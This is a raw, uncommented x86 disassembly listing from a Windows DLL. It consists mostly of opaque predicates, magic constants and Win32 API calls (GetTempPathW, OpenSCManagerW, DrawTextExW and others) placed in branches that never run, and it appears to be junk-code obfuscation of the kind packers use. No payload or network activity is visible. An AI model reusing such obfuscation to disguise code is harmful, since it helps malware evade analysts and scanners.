movdqu xmmword [ebp - 0x1110], xmm0
call fcn.100136d2
lea ecx, [ebp - 0x20a]
mov esi, eax
call fcn.1000a5ed
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x11a4]
push dword [esi]
call fcn.100136ac
xor eax, eax
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x100312d5
push dword [ebp - 0x14]
lea ecx, [ebp - 0x140]
call fcn.1000a502
mov dword [eax], 0xe1ab
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100312b7
xor eax, eax
push eax
lea ecx, [ebp - 0x140]
call fcn.1000a502
xor eax, eax
lea ecx, [ebp - 0x140]
push eax
call fcn.1000a502
cmp dword [eax], 0
je 0x1003131d
xor eax, eax
lea ecx, [ebp - 0x140]
push eax
call fcn.1000a502
xor ecx, ecx
cmp dword [eax], ecx
setne cl
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x140]
mov eax, dword [ebp - 0x54]
xor eax, eax
push eax
call fcn.1000a502
xor eax, eax
lea ecx, [ebp - 0x140]
push eax
call fcn.1000a502
mov esi, eax
lea ecx, [ebp - 0x140]
xor eax, eax
push eax
call fcn.1000a502
mov ecx, dword [esi]
cmp ecx, dword [eax]
jg 0x1003135a
xor eax, eax
lea ecx, [ebp - 0x140]
push eax
call fcn.1000a502
cmp dword [eax], 0
je 0x1003135a
mov esi, edi
xor eax, eax
jmp 0x1003135e
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x140]
call fcn.1000a502
mov eax, dword [eax]
imul eax, esi
test eax, eax
jne 0x1003138a
push eax
lea ecx, [ebp - 0x140]
call fcn.1000a502
cmp dword [eax], 0
jne 0x1003138a
xor eax, eax
mov edi, eax
jmp 0x1003138c
xor eax, eax
mov dword [ebp - 0x54], edi
lea ecx, [ebp - 0x140]
push eax
call fcn.1000a502
mov esi, dword [ebp - 0x54]
lea ecx, [ebp - 0x140]
imul esi, dword [eax]
xor eax, eax
push eax
call fcn.1000a502
xor ebx, ebx
lea ecx, [ebp - 0x140]
cmp esi, dword [eax]
setl bl
xor eax, eax
push eax
call fcn.1000a502
lea ecx, [ebp - 0x11a4]
mov eax, dword [eax]
add eax, ebx
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x38], eax
call fcn.1000a4e6
or esi, 0xffffffff
lea ecx, [ebp - 0x140]
mov dword [ebp - 4], esi
call fcn.1000a4e6
dec dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
dec ecx
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
neg edx
cmp edx, eax
setl cl
add ecx, dword [ebp - 0x2c]
je 0x1003141a
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
xor ebx, ebx
mov eax, dword [ebp - 0x18]
inc ebx
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1003142c
mov eax, ebx
cmp eax, dword [ebp - 0x18]
jg 0x10031434
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setle dl
add edx, dword [ebp - 0x48]
add edx, dword [ebp - 0x18]
neg edx
sbb edx, edx
inc edx
neg edx
jne 0x1003145c
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x48], eax
je 0x1003145e
mov ecx, ebx
xor eax, eax
cmp ecx, 0xcda6
push 2
setle al
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov eax, dword [ebp - 0x44]
neg ecx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x48]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x48]
pop edi
sete dl
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x38], ecx
dec dword [ebp - 0x44]
xor eax, eax
mov dword [ebp - 0x34], 7
mov dword [ebp - 0x14], 0x63384304
mov dword [ebp - 0x38], 0x145c1747
mov dword [ebp - 0x28], 0x9d70cad
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xe
jle 0x1003167f
push edi
lea ecx, [ebp - 0x344]
call fcn.1000a48a
xor eax, eax
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10031527
push dword [ebp - 0x14]
lea ecx, [ebp - 0x344]
call fcn.1000a502
mov dword [eax], 0xfffffff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10031509
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x1003153c
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
xor eax, eax
push eax
lea ecx, [ebp - 0x344]
call fcn.1000a502
lea ecx, [ebp - 0x344]
and dword [eax], 0
xor eax, eax
push eax
call fcn.1000a502
cmp dword [eax], 7
je 0x10031669
mov dword [ebp - 0x3c], 0x89a5a40f
lea ecx, [ebp - 0xe6c]
push 3
call fcn.1000a48a
xor eax, eax
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x14], eax
jmp 0x10031598
push dword [ebp - 0x14]
lea ecx, [ebp - 0xe6c]
call fcn.1000a502
mov dword [eax], 4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10031581
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10031626
mov dword [ebp - 0x28], 0xea0c8d46
lea ecx, [ebp - 0x344]
mov eax, dword [ebp - 0x28]
push ebx
call fcn.1000a502
xor eax, eax
lea ecx, [ebp - 0x344]
push eax
call fcn.1000a502
mov esi, eax
lea ecx, [ebp - 0x344]
xor eax, eax
push eax
call fcn.1000a502
mov ecx, dword [esi]
xor edx, edx
cmp ecx, dword [eax]
setl dl
xor ecx, ecx
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x3c]
cmp eax, ebx
mov eax, dword [ebp - 0x38]
setge cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x3c]
setg dl
xor ecx, ecx
neg edx
cmp eax, edx
setl cl
xor eax, eax
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x44], 0x9ec0021f
jb 0x10031620
cmp dword [ebp - 0x44], eax
je 0x10031620
mov eax, ebx
mov dword [ebp - 0x28], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x10
jg 0x100315ab
lea ecx, [ebp - 0xe6c]
mov byte [ebp - 4], 0xe
call fcn.1000a4e6
xor eax, eax
lea ecx, [ebp - 0x344]
push eax
call fcn.1000a502
lea ecx, [ebp - 0x344]
inc dword [eax]
xor eax, eax
push eax
call fcn.1000a502
cmp dword [eax], 7
jne 0x10031562
or esi, 0xffffffff
lea ecx, [ebp - 0x344]
mov dword [ebp - 4], esi
call fcn.1000a4e6
inc dword [ebp - 0x34]
jmp 0x100314e2
mov dword [ebp - 0x1c], 0xc5acc8e1
mov ecx, ebx
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x28]
sub ecx, eax
je 0x100316aa
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x100316c7
push eax
push 0xb81
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x100316c7
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x100316c7
push eax
push 0x158c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
mov esi, 0x25d1
lea ecx, [ebp - 0xaa0]
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x18], ebx
push 3
call fcn.1000a48a
xor eax, eax
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x14], eax
jmp 0x10031704
push dword [ebp - 0x14]
lea ecx, [ebp - 0xaa0]
call fcn.1000a502
mov dword [eax], 5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100316ed
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xe
je 0x10031765
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jg 0x10031759
push dword [ebp - 0x18]
lea ecx, [ebp - 0xaa0]
call fcn.1000a502
push dword [ebp - 0x18]
xor ebx, ebx
lea ecx, [ebp - 0xaa0]
cmp dword [eax], 0xcb61d225
setne bl
call fcn.1000a502
mov dword [eax], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jle 0x10031726
xor eax, eax
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xe
jne 0x1003171e
xor ebx, ebx
inc ebx
or eax, 0xffffffff
lea ecx, [ebp - 0xaa0]
mov dword [ebp - 4], eax
call fcn.1000a4e6
push ebx
lea ecx, [ebp - 0x648]
call fcn.1000a48a
xor eax, eax
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100317b1
push dword [ebp - 0x14]
lea ecx, [ebp - 0x648]
call fcn.1000a502
mov dword [eax], 0xfffffff7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10031793
xor eax, eax
push eax
lea ecx, [ebp - 0x648]
call fcn.1000a502
lea ecx, [ebp - 0x648]
and dword [eax], 0
xor eax, eax
push eax
call fcn.1000a502
push 0x12
pop edi
jmp 0x10031814
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x100317f8
push 0x188c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
xor eax, eax
push eax
lea ecx, [ebp - 0x648]
call fcn.1000a502
lea ecx, [ebp - 0x648]
inc dword [eax]
xor eax, eax
push eax
call fcn.1000a502
cmp dword [eax], edi
jl 0x100317d3
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10031843
push eax
push 0xea4
push eax
push 0x2608
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawTextExW]
or eax, 0xffffffff
lea ecx, [ebp - 0x648]
mov dword [ebp - 4], eax
call fcn.1000a4e6
push 3
mov dword [ebp - 0x40], esi
lea ecx, [ebp - 0xa1c]
pop esi
mov dword [ebp - 0x18], ebx
push esi
call fcn.1000a48a
xor eax, eax
mov dword [ebp - 4], edi
mov dword [ebp - 0x14], eax
jmp 0x1003188a
push dword [ebp - 0x14]
lea ecx, [ebp - 0xa1c]
call fcn.1000a502
mov dword [eax], 5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10031873
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xe
push 2
pop edi
je 0x100318ed
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jg 0x100318e1
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa1c]
call fcn.1000a502
push dword [ebp - 0x18]
xor ebx, ebx
lea ecx, [ebp - 0xa1c]
cmp dword [eax], 0xcb61d225
setne bl
call fcn.1000a502
mov dword [eax], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jle 0x100318ae
xor eax, eax
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xe
jne 0x100318a6
xor ebx, ebx
inc ebx
or eax, 0xffffffff
lea ecx, [ebp - 0xa1c]
mov dword [ebp - 4], eax
call fcn.1000a4e6
push esi
lea ecx, [ebp - 0x198]
call fcn.1000a48a
mov dword [ebp - 4], 0x13
lea ecx, [ebp - 0xdc0]
mov dword [ebp - 0x20], 0xf89b546
mov dword [ebp - 0x3c], 0xc18ab9c2
mov dword [ebp - 0x40], 0xb28787d6
push 4
call fcn.1000a48a
mov byte [ebp - 4], 0x14
xor eax, eax
mov dword [ebp - 0x4c], 0x5036ffe6
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jge 0x10031966
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x198]
call fcn.1000a502
mov dword [eax], 0xf70ad6f2
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x10031948
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x10031986
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x444], 0xa33a4d1b
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1003196e
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x100319ae
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xdc0]
call fcn.1000a502
mov dword [eax], 0xfffffff8
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x1003198f
xor eax, eax
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], eax
jl 0x10031b66
jmp 0x100319be
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x1210cbed
mov dword [ebp - 0x38], 0x197cbb40
mov dword [ebp - 0x14], eax
jmp 0x100319e1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x8c0], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100319d4
push dword [ebp - 0x20]
lea ecx, [ebp - 0x198]
call fcn.1000a502
cmp dword [eax], 0
jne 0x10031b63
push dword [ebp - 0x20]
lea ecx, [ebp - 0x198]
call fcn.1000a502
push dword [ebp - 0x20]
lea ecx, [ebp - 0x198]
call fcn.1000a502
mov dword [ebp - 0x3c], ebx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x444], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xcd20
jge 0x10031a3a
mov eax, dword [ebp - 0x18]
push dword [ebp - 0x20]
lea ecx, [ebp - 0x198]
call fcn.1000a502
push dword [ebp - 0x20]
lea ecx, [ebp - 0x198]
call fcn.1000a502
push ebx
lea ecx, [ebp - 0x198]
call fcn.1000a502
push dword [ebp - 0x20]
lea ecx, [ebp - 0x198]
call fcn.1000a502
push dword [ebp - 0x20]
lea ecx, [ebp - 0x198]
call fcn.1000a502
mov esi, dword [ebp - 0x444]
lea ecx, [ebp - 0x198]
imul esi, dword [eax]
xor eax, eax
push eax
call fcn.1000a502
push dword [ebp - 0x20]
lea ecx, [ebp - 0x198]
mov edi, dword [eax]
add edi, esi
call fcn.1000a502
lea ecx, [ebp - 0x198]
mov esi, dword [eax]
xor eax, eax
push eax
imul esi, edi
call fcn.1000a502
mov ecx, dword [ebp - 0x28]
xor edx, edx
cmp esi, ecx
lea ecx, [ebp - 0xdc0]
push 3
setle dl
xor ebx, ebx
cmp edx, dword [eax]
pop esi
push esi
setl bl
call fcn.1000a502
sub ebx, dword [eax]
je 0x10031b14
or eax, 0xffffffff
mov dword [ebp - 0x28], 0xe84cbf77
mov dword [ebp - 0x28], eax
push 8
pop eax
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10031b09
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x137c], 0x552ad14c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10031af8
dec dword [ebp - 0x4c]
jmp 0x10031b57
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x10031b51
mov dword [ebp - 0x18], 0xd
jmp 0x10031b40
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031b3d
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xf
jle 0x10031b24
cmp dword [ebp - 0x8c0], eax
jne 0x10031b57
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xffffffe2
jg 0x10031b1b
dec dword [ebp - 0x20]
push 1
pop ebx
jns 0x100319bc
push 2
pop edi
lea ecx, [ebp - 0xdc0]
call fcn.1000a4e6
or eax, 0xffffffff
lea ecx, [ebp - 0x198]
mov dword [ebp - 4], eax
call fcn.1000a4e6
or eax, 0xffffffff
mov ecx, ebx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
sub ecx, eax
je 0x10031ba9
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10031bc6
push eax
push 0xb81
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x10031bc6
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10031bc6
push eax
push 0x158c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
mov dword [ebp - 0x28], 0x9aa810d2
lea ecx, [ebp - 0xb80]
mov dword [ebp - 0x3c], 0xfffffff8
push 4
call fcn.1000a48a
mov dword [ebp - 4], 0x15
xor eax, eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x28], 0x9d01078
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10031c14
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xfb4], 0x7b1891f7
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10031bfc
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x10031c3c
push dword [ebp - 0x24]
lea ecx, [ebp - 0xb80]
call fcn.1000a502
mov dword [eax], 0xc93ee327
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x10031c1d
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031c4f
push 0x6b
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
dec dword [ebp - 0x44]
xor edx, edx
mov ecx, dword [ebp - 0xfb0]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setg dl
cmp edx, dword [ebp - 0x28]
jne 0x10031c8e
push esi
lea ecx, [ebp - 0xb80]
call fcn.1000a502
cmp dword [eax], 0
jne 0x10031c82
xor eax, eax
cmp dword [ebp - 0xfb0], eax
je 0x10031c84
mov eax, ebx
mov dword [ebp - 0x3c], eax
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10031c90
mov eax, ebx
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0xb80]
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.1000a4e6
push edi
lea ecx, [ebp - 0xd4]
call fcn.1000a48a
mov dword [ebp - 4], 0x16
xor eax, eax
mov dword [ebp - 0x2c], 9
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10031ce2
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd4]
call fcn.1000a502
mov dword [eax], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10031cc8
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jg 0x10031e21
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xd4]
call fcn.1000a502
push dword [ebp - 0x2c]
xor ebx, ebx
lea ecx, [ebp - 0xd4]
cmp dword [eax], 0x64f9
setne bl
call fcn.1000a502
xor ecx, ecx
push 1
cmp ebx, dword [eax]
sete cl
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0xd4]
call fcn.1000a502
mov ecx, dword [ebp - 0x28]
xor ebx, ebx
push dword [ebp - 0x2c]
cmp ecx, dword [eax]
lea ecx, [ebp - 0xd4]
setl bl
call fcn.1000a502
push dword [ebp - 0x2c]
xor ecx, ecx
cmp ebx, dword [eax]
setge cl
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0xd4]
call fcn.1000a502
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xd4]
mov esi, dword [eax]
add esi, dword [ebp - 0x28]
call fcn.1000a502
xor ebx, ebx
lea ecx, [ebp - 0xd4]
inc ebx
push ebx
mov edi, dword [eax]
imul edi, esi
call fcn.1000a502
xor ecx, ecx
cmp edi, dword [eax]
mov eax, dword [ebp - 0x2c]
setle cl
sub eax, ecx
jne 0x10031da8
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xd4]
call fcn.1000a502
cmp dword [eax], 0
jne 0x10031da8
xor eax, eax
jmp 0x10031daa
mov eax, ebx
add eax, 0x9f8841b7
je 0x10031dbf
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xd4]
call fcn.1000a502
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xd4]
call fcn.1000a502
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xd4]
call fcn.1000a502
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xd4]
call fcn.1000a502
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xd4]
call fcn.1000a502
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xd4]
cmp dword [eax], 9
sbb esi, esi
sub esi, 2
call fcn.1000a502
mov dword [eax], esi
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jle 0x10031cee
push 2
pop edi
push 3
pop esi
or eax, 0xffffffff
lea ecx, [ebp - 0xd4]
mov dword [ebp - 4], eax
call fcn.1000a4e6
push ebx
lea ecx, [ebp - 0x750]
call fcn.1000a48a
xor eax, eax
mov dword [ebp - 4], 0x17
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10031e6d
push dword [ebp - 0x14]
lea ecx, [ebp - 0x750]
call fcn.1000a502
mov dword [eax], 0xfffffff7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10031e4f
xor eax, eax
push eax
lea ecx, [ebp - 0x750]
call fcn.1000a502
and dword [eax], 0
jmp 0x10031eb1
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10031ea3
push 0x188c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
xor eax, eax
push eax
lea ecx, [ebp - 0x750]
call fcn.1000a502
inc dword [eax]
xor eax, eax
lea ecx, [ebp - 0x750]
push eax
call fcn.1000a502
cmp dword [eax], 0x12
jl 0x10031e7e
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10031eef
push eax
push 0xea4
push eax
push 0x2608
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawTextExW]
or eax, 0xffffffff
lea ecx, [ebp - 0x750]
mov dword [ebp - 4], eax
call fcn.1000a4e6
push 4
lea ecx, [ebp - 0x944]
call fcn.1000a48a
mov dword [ebp - 4], 0x18
xor eax, eax
mov dword [ebp - 0x28], 0x39924432
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x10031f41
push dword [ebp - 0x24]
lea ecx, [ebp - 0x944]
call fcn.1000a502
mov dword [eax], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x10031f26
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10031f57
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x8ec], 0x74bf
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10031f46
push esi
lea ecx, [ebp - 0x944]
call fcn.1000a502
push 3
lea ecx, [ebp - 0x944]
mov esi, eax
call fcn.1000a502
mov ecx, dword [esi]
xor edx, edx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x944]
setne dl
or esi, 0xffffffff
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x8ec], ebx
mov dword [ebp - 4], esi
call fcn.1000a4e6
mov dword [ebp - 0x28], esi
mov ecx, ebx
mov eax, dword [ebp - 0x28]
sub ecx, eax
je 0x10031fbe
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10031fdb
push eax
push 0xb81
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x10031fdb
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10031fdb
push eax
push 0x158c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
push 3
pop esi
push esi
lea ecx, [ebp - 0x1b0]
call fcn.1000a48a
mov dword [ebp - 4], 0x19
lea ecx, [ebp - 0xcd0]
mov dword [ebp - 0x20], 0xf89b546
mov dword [ebp - 0x3c], 0xc18ab9c2
mov dword [ebp - 0x40], 0xb28787d6
push 4
call fcn.1000a48a
mov byte [ebp - 4], 0x1a
xor eax, eax
mov dword [ebp - 0x4c], 0x5036ffe6
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jge 0x10032046
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1b0]
call fcn.1000a502
mov dword [eax], 0xf70ad6f2
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x10032028
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x10032066
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x4a4], 0xa33a4d1b
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1003204e
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x1003208e
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xcd0]
call fcn.1000a502
mov dword [eax], 0xfffffff8
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x1003206f
xor eax, eax
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], eax
jl 0x10032246
jmp 0x1003209e
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x1210cbed
mov dword [ebp - 0x38], 0x197cbb40
mov dword [ebp - 0x14], eax
jmp 0x100320c1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x8e4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100320b4
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1b0]
call fcn.1000a502
cmp dword [eax], 0
jne 0x10032243
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1b0]
call fcn.1000a502
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1b0]
call fcn.1000a502
mov dword [ebp - 0x3c], ebx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x4a4], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xcd20
jge 0x1003211a
mov eax, dword [ebp - 0x18]
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1b0]
call fcn.1000a502
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1b0]
call fcn.1000a502
push ebx
lea ecx, [ebp - 0x1b0]
call fcn.1000a502
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1b0]
call fcn.1000a502
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1b0]
call fcn.1000a502
mov esi, dword [ebp - 0x4a4]
lea ecx, [ebp - 0x1b0]
imul esi, dword [eax]
xor eax, eax
push eax
call fcn.1000a502
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1b0]
mov edi, dword [eax]
add edi, esi
call fcn.1000a502
lea ecx, [ebp - 0x1b0]
mov esi, dword [eax]
xor eax, eax
push eax
imul esi, edi
call fcn.1000a502
mov ecx, dword [ebp - 0x28]
xor edx, edx
cmp esi, ecx
lea ecx, [ebp - 0xcd0]
push 3
setle dl
xor ebx, ebx
cmp edx, dword [eax]
pop esi
push esi
setl bl
call fcn.1000a502
sub ebx, dword [eax]
je 0x100321f4
or eax, 0xffffffff
mov dword [ebp - 0x28], 0xe84cbf77
mov dword [ebp - 0x28], eax
push 8
pop eax
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x100321e9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x132c], 0x552ad14c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100321d8
dec dword [ebp - 0x4c]
jmp 0x10032237
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x10032231
mov dword [ebp - 0x18], 0xd
